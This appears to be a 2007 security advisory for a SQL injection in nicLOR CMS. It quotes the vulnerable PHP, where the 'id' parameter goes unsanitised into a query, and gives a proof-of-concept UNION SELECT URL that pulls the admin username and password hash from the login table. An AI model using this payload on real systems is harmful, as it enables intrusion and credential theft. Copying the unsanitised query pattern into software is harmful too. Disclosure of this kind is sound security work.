nicLOR CMS (sezione_news.php) Remote SQL Injection Vulnerability

🗓️ 22 Dec 2007 00:00:00Reported by RootType

nicLOR CMS sezione_news.php SQL Injection Vulnerability x0kster 21/12/200


                                                Name&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;&nbsp;nicLOR-CMS&nbsp;SQL&nbsp;Injection&nbsp;Vulnerability.
Author&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;&nbsp;x0kster
Email&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;&nbsp;[email protected]
Script&nbsp;Download&nbsp;:&nbsp;&nbsp;http://www.niclor.net/prodotti/16-04-06-niclor_cms.zip
Date&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;&nbsp;21/12/2007

#SQL&nbsp;Injection&nbsp;in&nbsp;sezione_news.php

&nbsp;&nbsp;&nbsp;&lt;?php
&nbsp;&nbsp;&nbsp;[...]
&nbsp;&nbsp;&nbsp;$intSezioneID&nbsp;=&nbsp;$_GET['id'];
&nbsp;&nbsp;&nbsp;[...]
&nbsp;&nbsp;&nbsp;$strSQL&nbsp;=&nbsp;&quot;SELECT&nbsp;articolo.intArticoloID,&nbsp;&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.&nbsp;&quot;[...]&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.&nbsp;&quot;&nbsp;HAVING&nbsp;articolo.intSezioneID&nbsp;=&nbsp;$intSezioneID&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.&nbsp;&quot;[...]&quot;;
&nbsp;&nbsp;&nbsp;[...]
&nbsp;&nbsp;&nbsp;?&gt;

&nbsp;&nbsp;So&nbsp;we&nbsp;can&nbsp;exploit&nbsp;the&nbsp;$intSezioneID&nbsp;and&nbsp;execute&nbsp;an&nbsp;sql&nbsp;injection.

&nbsp;&nbsp;PoC:
&nbsp;&nbsp;http://example.com/nicLOR-CMS/index.php?page=sezione&amp;id=-1+union+select+1,concat(strUser,0x3a,strPass)+from+login/*

&nbsp;&nbsp;And&nbsp;then&nbsp;we'll&nbsp;get&nbsp;the&nbsp;username&nbsp;and&nbsp;the&nbsp;hash&nbsp;of&nbsp;the&nbsp;admin.

22 Dec 2007 00:00Current

7.1High risk

Vulners AI Score7.1